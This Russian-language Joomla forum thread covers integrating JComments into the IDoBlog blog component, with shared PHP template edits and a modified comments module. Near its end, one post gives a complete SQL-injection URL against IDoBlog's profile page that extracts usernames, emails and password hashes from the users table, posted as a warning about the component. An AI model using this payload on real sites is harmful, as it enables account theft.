7Rei
Давно я тут
  
Репутация: +20/-0
Offline
Пол: 
Сообщений: 358
|
 |
« : 22.12.2008, 12:42:27 » |
|
Добрый день. Компонент IDoBlog использует свою систему комментариев. На остальной же Joomla используется Jcomments. Возможно ли, чтобы Jcomments брал аватарки из компонента IDoBlog?
|
|
|
|
|
Записан
|
|
|
|
romanof
Захожу иногда

Репутация: +0/-0
Offline
Сообщений: 15
|
 |
« Ответ #1 : 09.03.2009, 23:43:05 » |
|
Пошел в лоб  , коменты idobloga, отключил (поставил уравень только суперадмин), а потом везде вставил вызов JComments, в post.php (в templates): global $mainframe; $comments = $mainframe->getCfg('absolute_path'). '/components/com_jcomments/jcomments.php'; if (file_exists($comments)) { require_once($comments); echo JComments::showComments($row->id, 'com_idoblog', $row->title); } а в других, просто кол-во коментов (пользовался http://www.joomlatune.ru/jcomments-developers-manual.html): global $mainframe; $comments = $mainframe->getCfg('absolute_path'). '/components/com_jcomments/jcomments.php'; if (file_exists($comments)) { require_once($comments); $count = JComments::getCommentsCount($row->id, 'com_idoblog'); echo $count ? ('Комментарии ('. $count . ')') : 'Добавить комментарий'; } Я хочу попросить Smart`a как сделать чтобы комментарии можно было включать (в настройках) не только категории, а разделы. А то блог каждого пользователя -это категория, соответственно новый пользователь - новая категория. Пока при прямом вызове это не мешает, но вдруг?
|
|
|
|
« Последнее редактирование: 01.11.2009, 16:32:56 от smart »
|
Записан
|
|
|
|
|
smart
|
 |
« Ответ #2 : 10.03.2009, 00:01:56 » |
|
Я хочу попросить Smart`a как сделать чтобы комменты можно было включать (в настройках) не только категории, а разделы. в ближайшее время - никак, в будущем планируется добавить возможность таких настроек для каждого из интегрируемых компонентов... но никак не раньше лета...
|
|
|
|
|
Записан
|
|
|
|
dn0006
Захожу иногда

Репутация: +2/-0
Offline
Пол: 
Сообщений: 13
|
 |
« Ответ #3 : 12.09.2009, 04:00:22 » |
|
можно поподробнее по интеграции и замене дефолтной системы комментариев ?! какие строки и в каких файлах менять ? а то из постов что выше мне мало понятно, программистом не являюсь. так что извиняйте
|
|
|
|
|
Записан
|
|
|
|
|
Alex Revo
|
 |
« Ответ #4 : 01.11.2009, 14:13:44 » |
|
Во вложении файл default.php шаблона nicomo Думаю разберешься что к чему, и в post.php добавить вывод по описанной выше схеме.
P.S. Мне еще пришлось подправить модуль комментариев, чтобы генерил урлы по общей схеме.
|
|
|
|
|
Записан
|
|
|
|
|
smart
|
 |
« Ответ #5 : 01.11.2009, 16:34:11 » |
|
P.S. Мне еще пришлось подправить модуль комментариев, чтобы генерил урлы по общей схеме.
а модуль-то причем? ссылки формируют плагины JComments (/components/com_jcomments/plugins/)
|
|
|
|
|
Записан
|
|
|
|
|
Alex Revo
|
 |
« Ответ #6 : 01.11.2009, 16:43:54 » |
|
Дело в том, что idoblog хранит записи в #__content и работать с ними в админке можно как с обычными статьями, соотв. JComments в модуле последних ябъявлений при выводе ссылке "readmore" делает url как для com_content: /component/content/article/...
а нужен вид: /[alias menu component]/viewpost/...
Поэтому я просто исправил $link в модуле, т.к. у меня в блоге не будет других мест для комментирования.
|
|
|
|
|
Записан
|
|
|
|
|
smart
|
 |
« Ответ #7 : 01.11.2009, 17:31:25 » |
|
соотв. JComments в модуле последних ябъявлений при выводе ссылке "readmore" делает url как для com_content это если при интеграции указать в качестве компонента 'com_content', если же указывать, как положено, 'com_idoblog', то комментарии будут в базу ложиться как комментарии для 'com_idoblog' и ссылки будут в модуле строиться правильно
|
|
|
|
|
Записан
|
|
|
|
|
Alex Revo
|
 |
« Ответ #8 : 02.11.2009, 17:44:12 » |
|
самое интересно, что у меня указано все "как положено"...
|
|
|
|
|
Записан
|
|
|
|
|
Alex Revo
|
 |
« Ответ #9 : 02.11.2009, 22:21:57 » |
|
Кстати, в списке комментариев под записью, урлы в class="comment-anchor" тоже формируются для com_content, пришлось подправить шаблон вывода комментов.
|
|
|
|
|
Записан
|
|
|
|
|
smart
|
 |
« Ответ #10 : 02.11.2009, 22:50:18 » |
|
Ну судя по коду плагина com_idoblog.plugin.php (которому уже наверно года 2 точно): if ($row->access <= $user->get('aid', 0)) { $link = JRoute::_(ContentHelperRoute::getArticleRoute($row->slug, $row->catslug, $row->sectionid)); } else { $link = JRoute::_("index.php?option=com_user&task=register"); }других ссылок действительно на тот момент и не предусматривалось... Когда я делал этот плагин у компонента наверняка не было никакого роутера, а потом мне этот компонент резко стал не интересен - не приемлю spyware... а вот почему плагин из дистрибутива не убрал - не помню, может кто-то попросил отставить...
|
|
|
|
|
Записан
|
|
|
|
|
Alex Revo
|
 |
« Ответ #11 : 03.11.2009, 01:24:12 » |
|
Да, компонент конечно не ахти какой, но если немного подпилить под себя, работать с ним можно. Я тут пишу не для того, чтобы обратить внимание на какие-то недоработки JComments, а просто чтобы обратить внимание тех, кто еще пойдет тем же путем интеграции.
idoblog в текущем виде не заслуживает усилий по разработке спец.плагина для JComments
|
|
|
|
|
Записан
|
|
|
|
|
smart
|
 |
« Ответ #12 : 03.11.2009, 01:59:21 » |
|
Да я все понимаю, я просто сначала не понять почему ссылки неверные... поэтому и полез в код проверить свою память. В общем если нужно, могу поправить данный плагин, хотя не уверен, что это нужно...
|
|
|
|
|
Записан
|
|
|
|
|
SenshiB
Гость
|
 |
« Ответ #13 : 06.11.2009, 23:34:41 » |
|
Если не сложно, подскажите, где и что подправить. Ситуация - на главной выводил последние записи блога. И ссылки вели на записи, как на обычный контент (раздел-категория-статья). И там уже появлялся JComments - но приписка шла как com_content . А через блог вход на статью уже ничего не показывал, и комментарии приписывались как com_idoblog . И, естественно, от com_content ничего не видно. Из вашей переписки для себя вывел вот что: - можно сделать так, чтобы комментарии в контенте не выводились;
- или же чтобы они прописывались как com_idoblog.
Если возможен второй вариант, то как? P.S. Использую тему idobloger
|
|
|
|
|
Записан
|
|
|
|
Tender
Захожу иногда

Репутация: +0/-0
Offline
Сообщений: 6
|
 |
« Ответ #14 : 15.02.2010, 00:38:49 » |
|
Можеть ли кто нибуть написать понянтно для особо тупых, как сделать что JComments работало на idoblog ?
|
|
|
|
|
Записан
|
|
|
|
|
smart
|
 |
« Ответ #15 : 16.02.2010, 15:23:48 » |
|
А почему бы не попросить автора idoblog встроить поддержку JComments в компонент? Мне кажется это лучше, чем потом при каждом обновлении искать свежее решение для интеграции.
|
|
|
|
|
Записан
|
|
|
|
Slay
Захожу иногда

Репутация: +1/-0
Offline
Пол: 
Сообщений: 20
|
 |
« Ответ #16 : 19.02.2010, 01:56:11 » |
|
А почему бы не попросить автора idoblog встроить поддержку JComments в компонент? Мне кажется это лучше, чем потом при каждом обновлении искать свежее решение для интеграции.
Та уже задавали. Говорит что лучше развивать свою систему комментариев и т.д
|
|
|
|
|
Записан
|
|
|
|
|
smart
|
 |
« Ответ #17 : 19.02.2010, 13:54:07 » |
|
Та уже задавали. Говорит что лучше развивать свою систему комментариев и т.д
Ну так пусть развивает, раз ему охота изобретать велосипед... У меня никакого желания в чужом коде ковыряться нет, тем более потом каждый раз при выходе новой версии делать обновление инструкций. Странная в принципе у него позиция, ну да ладно...
|
|
|
|
|
Записан
|
|
|
|
romanof
Захожу иногда

Репутация: +0/-0
Offline
Сообщений: 15
|
 |
« Ответ #18 : 28.02.2010, 00:58:38 » |
|
При такой интеграции, в модуле JComments, остаются ссылки на com_comnent, меня сегодня спросили как это исправить, решил выложить для всех, может пригодится. Менял запросы к БД и линки в зависимости от $object_group. Во вложении измененый файл mod_jcomments.php, напрямую лучше не заменять, т.к. предыдущая версия модуля, что изменилось не проверял. Вложить не получилось. вот функция для примера function modJCommentsLatestCommented( &$params ) { global $mainframe, $my;
$dbo = & JCommentsFactory::getDBO(); $acl = & JCommentsFactory::getACL(); $config = & JCommentsFactory::getConfig(); $type_com = $params->get( 'select_component' ); $object_group = trim($params->get('object_group', 'com_content'));
if ( $object_group == 'com_content' ) { $sectionid = intval($params->get('sectionid')); $exclude_sectionid = trim($params->get('exclude_sectionid', '')); $exclude_sections = array(); if ($exclude_sectionid != '') { $exclude_sections = explode(',', $exclude_sectionid); } $catid = intval($params->get('catid')); $exclude_catid = trim($params->get('exclude_catid', '')); $exclude_catids = array(); if ($exclude_catid != '') { $exclude_catids = explode(',', $exclude_catid); } $class ='news-com'; $query = "SELECT c.title, c.do_title ,c.id, COUNT(cc.id) AS comments " . "\n ,cc.name , cc.date, c.id as slug, cc.id as catslug" . "\n FROM #__content AS c " . "\n LEFT JOIN #__jcomments AS cc ON c.id = cc.object_id" . "\n WHERE cc.published = '1'" . "\n AND c.access <= '$my->gid'" . "\n AND (c.publish_up = '0000-00-00 00:00:00' OR c.publish_up <= NOW())" . "\n AND (c.publish_down = '0000-00-00 00:00:00' OR c.publish_down >= NOW())" . "\n AND cc.object_group = 'com_content'" . ((!$catid && $sectionid)? "\n AND (c.sectionid IN ($sectionid) )" : '') . (count($exclude_sections)? "\n AND (c.sectionid NOT IN (".implode(',', $exclude_sections).") )" : '') . ($catid ? "\n AND (c.catid IN ($catid) )" : '') . (count($exclude_catids)? "\n AND (c.catid NOT IN (".implode(',', $exclude_catids).") )" : '') . "\n GROUP BY c.id " . "\n ORDER BY comments DESC" . "\n LIMIT " . intval( $params->get( 'count' ) ) ; } elseif ($object_group == 'com_idoblog' ) { $class ='name'; $query = "SELECT c.title ,c.id, COUNT(cc.id) AS comments " . "\n ,cc.name , cc.date, ic.title as comtitle, ic.id_community_category as icc , ic.community_keyword as com_key, cc.object_group" . "\n FROM #__content AS c " . "\n LEFT JOIN #__jcomments AS cc ON c.id = cc.object_id" . "\n LEFT JOIN #__idoblog_communities AS ic ON c.catid = ic.id_category " . "\n WHERE cc.published = '1'" . "\n AND cc.object_group = '".$object_group."'" . "\n GROUP BY c.id " . "\n ORDER BY comments DESC" . "\n LIMIT " . intval( $params->get( 'count' ) ) ; } elseif ($object_group == 'com_eventlist' ) {
$query = "SELECT ev.title ,ev.id, evc.catname, COUNT(cc.id) AS comments " . "\n , cc.title as comtitle " . "\n FROM #__jcomments AS cc" . "\n LEFT JOIN #__eventlist_events AS ev ON cc.object_id = ev.id " . "\n LEFT JOIN #__eventlist_categories AS evc ON ev.catsid = evc.id " . "\n WHERE cc.published = '1'" . "\n AND cc.object_group = '".$object_group."'" . "\n GROUP BY ev.id " . "\n ORDER BY comments DESC" . "\n LIMIT " . intval( $params->get( 'count' ) ) ; } //echo $query; $dbo->setQuery( $query ); $rows = $dbo->loadObjectList(); //print_r($rows); if ( sizeof( $rows ) ) { echo '<ul class="headers-list">'."\n"; foreach( $rows as $row ) { $link = JCommentsObjectHelper::getLink( $row->object_id, $row->object_group); //$title = JCommentsText::censor($row->comment ); //echo $title; if (JCOMMENTS_JVERSION == '1.5' && $object_group != 'com_idoblog') { require_once (JPATH_ROOT.DS.'components'.DS.'com_content'.DS.'helpers'.DS.'route.php'); $link = JRoute::_(ContentHelperRoute::getArticleRoute($row->slug, $row->catslug, $row->sectionid)). '&Itemid=2#comments'; } elseif ($object_group != 'com_idoblog') { $_Itemid = $mainframe->getItemid($row->id); $link = sefRelToAbs('index.php?option=com_content&task=view&id=' . $row->object_id . '&Itemid=' . $_Itemid . '#comments'); } if ($object_group == 'com_idoblog') { $link = JRoute::_('index.php?option=com_idoblog&task=viewpost&id='. $row->id.'&Itemid=6#comment'.$row->id); }
if ($object_group == 'com_eventlist') { $_Itemid = 3; $link = JRoute::_('index.php?view=details&id='. $row->id.'&option=com_eventlist&Itemid='.$_Itemid.'#comment'.$row->id); } $link_title = $row->title; $link_text = $row->title; if(!empty($link_title)) { if ( $params->get( 'showcomments' ) ) { $link_text .= ' <a class="comments-link" href="'.$link.'">' . $row->comments . '</a>'; } echo '<li id="1"><div class="dt">'; echo $row->do_title.' <a href="'.$link.'" title="'.$link_title.'" class="'.$class.'">'.$link_text.'</a></div>'."\n"; if (!empty($row->comtitle) && $row->icc != 0 ) { $link_com = JRoute::_('index.php?option=com_idoblog&keyword='. $row->com_key.'&Itemid=6'); echo '<a href="'.$link_com.'" title="'.$row_comtitle.'" class="club-link">'.$row->comtitle.'</a> '."\n"; } if (!empty($row->catname) ) { $link_com = JRoute::_('index.php?option=com_idoblog&keyword='. $row->com_key.'&Itemid=6'); echo '<span class="pre-name">'.$row->catname.'</span> '."\n"; } echo '</li>';} } echo '</ul>'."\n"; } }
|
|
|
|
|
Записан
|
|
|
|
vasya000
Осваиваюсь на форуме
 
Репутация: +0/-0
Offline
Пол: 
Сообщений: 143
Реально Вася :)
|
 |
« Ответ #19 : 11.06.2010, 14:47:19 » |
|
Скажите как заменить ссылки "коментировать" на ссылку "ответить"?
|
|
|
|
|
Записан
|
|
|
|
|
Alex Revo
|
 |
« Ответ #20 : 11.06.2010, 14:57:42 » |
|
Изменить слово в переводе.
|
|
|
|
|
Записан
|
|
|
|
vasya000
Осваиваюсь на форуме
 
Репутация: +0/-0
Offline
Пол: 
Сообщений: 143
Реально Вася :)
|
 |
« Ответ #21 : 11.06.2010, 22:24:54 » |
|
Изменить слово в переводе.
Alex Revo спасибо! 
|
|
|
|
« Последнее редактирование: 11.06.2010, 22:43:12 от vasya000 »
|
Записан
|
|
|
|
voral
Новичок
Репутация: +0/-0
Offline
Сообщений: 3
|
 |
« Ответ #22 : 07.07.2010, 16:00:42 » |
|
Предлагаю свой вариант интеграции. Итак Незабываем сделать копии a. файл com_idoblogs/assets/templates/<имя_темплейта>/post.php 1 Ищем код: <?php if( $this->items[0]->adsense_type=='t') echo $this->items[0]->adsense.'<br>'; ?>
Вставляем после него <? global $mosConfig_absolute_path; $comments = $mosConfig_absolute_path . '/components/com_jcomments/jcomments.php'; if (file_exists($comments)) { require_once($comments); echo JComments::showComments($this->items[0]->id, 'com_idoblog', $row->title); } /* ?>
2. Ищем в самом конце файла <?php } ?>
Заменяем на <?php */ } ?>
b. файл com_idoblogs/models/idoblog.php Ищем function _getsumcomments($idarticle) { $db =& JFactory::getDBO(); $query="SELECT * FROM #__idoblog_comments WHERE idarticle=".$idarticle." AND publish=1"; $db->setQuery( $query ); $db->query(); $sum=$db->getNumRows(); return $sum; } Заменяем на function _getsumcomments($idarticle) { global $mosConfig_absolute_path; $comments = $mosConfig_absolute_path . '/components/com_jcomments/jcomments.php'; if (file_exists($comments)) { require_once($comments); $sum = JComments::getCommentsCount($idarticle, 'com_idoblog'); } return $sum; }
c. готово. Пока ковырялся с этим компонентом возникло желание сделать форк.
|
|
|
|
|
Записан
|
|
|
|
|
smart
|
 |
« Ответ #23 : 08.07.2010, 02:29:54 » |
|
Пока ковырялся с этим компонентом возникло желание сделать форк. А смысл? Не лучше ли взять готовое и развивающееся решение типа LyftenBloggie или же собрать нужный функционал на базе FLEXIcontent или K2?
|
|
|
|
|
Записан
|
|
|
|
voral
Новичок
Репутация: +0/-0
Offline
Сообщений: 3
|
 |
« Ответ #24 : 08.07.2010, 10:53:24 » |
|
А смысл? Не лучше ли взять готовое и развивающееся решение типа LyftenBloggie или же собрать нужный функционал на базе FLEXIcontent или K2?
Если честно я первый проект делаю на Joomla. И как то выбрал идоблогс. ТОлько вчера столкнулся, что комментарии это проблема. Лифтен вчера пробовал, но лично мне как программисту быстрее (хватило минут 15 с учетом существования ваших рекомендаций по интеграции комментариев и галереи) идоблог допилить (по сути для работы сайта он все делает теперь, что мне нужно. допиливать нужно в плане удобностей админства, а это на готовность сайта не влияет.). Кстати. По поводу JComments Latest. Не плохо бы иметь опциональную возможность в блоке разбивать по категориям. Т.е. у вас там хранится модуль-источник. Вот по нему и группировать, только прикрутить еще удобочитаемое название для группы.
|
|
|
|
« Последнее редактирование: 08.07.2010, 10:56:25 от voral »
|
Записан
|
|
|
|
|
Alex Revo
|
 |
« Ответ #25 : 08.07.2010, 10:59:01 » |
|
Все бесплатные версии Idoblog содержат уязвимости на предмет инъекций, у меня был печальный опыт, после которого я отказался от этого компонента.
|
|
|
|
|
Записан
|
|
|
|
voral
Новичок
Репутация: +0/-0
Offline
Сообщений: 3
|
 |
« Ответ #26 : 08.07.2010, 12:16:49 » |
|
Все бесплатные версии Idoblog содержат уязвимости на предмет инъекций, у меня был печальный опыт, после которого я отказался от этого компонента.
спасибо. проверю
|
|
|
|
|
Записан
|
|
|
|
|
Alex Revo
|
 |
« Ответ #27 : 08.07.2010, 12:36:09 » |
|
взлом идет через запросы вида: /index.php?option=com_idoblog&task=profile&Itemid=1337&userid=62+union+select+1,concat_ws(0x3a,username,email,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16+from+jos_users
|
|
|
|
|
Записан
|
|
|
|
|
smart
|
 |
« Ответ #28 : 08.07.2010, 16:23:34 » |
|
Кстати. По поводу JComments Latest. Не плохо бы иметь опциональную возможность в блоке разбивать по категориям. Т.е. у вас там хранится модуль-источник. Вот по нему и группировать, только прикрутить еще удобочитаемое название для группы. Ну так сделайте альтернативный модуль... я, к сожалению, не могу воплотить все пожелания
|
|
|
|
|
Записан
|
|
|
|
donklass
Новичок
Репутация: +0/-0
Offline
Сообщений: 3
|
 |
« Ответ #29 : 08.07.2010, 21:20:16 » |
|
взлом идет через запросы вида: /index.php?option=com_idoblog&task=profile&Itemid=1337&userid=62+union+select+1,concat_ws(0x3a,username,email,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16+from+jos_users
Ну,закройте,что необходимо файлом .htaccess И вообще не понимаю в данной теме вопроса интеграции. Ну,не устанавливайте mod_idoblog_comments вообще,а в настройках JComments включайте раздел blogs c категориями,являющимися именами авторов.И комментарии будут выводиться всегда и везде.
|
|
|
|
|
Записан
|
|
|
|
|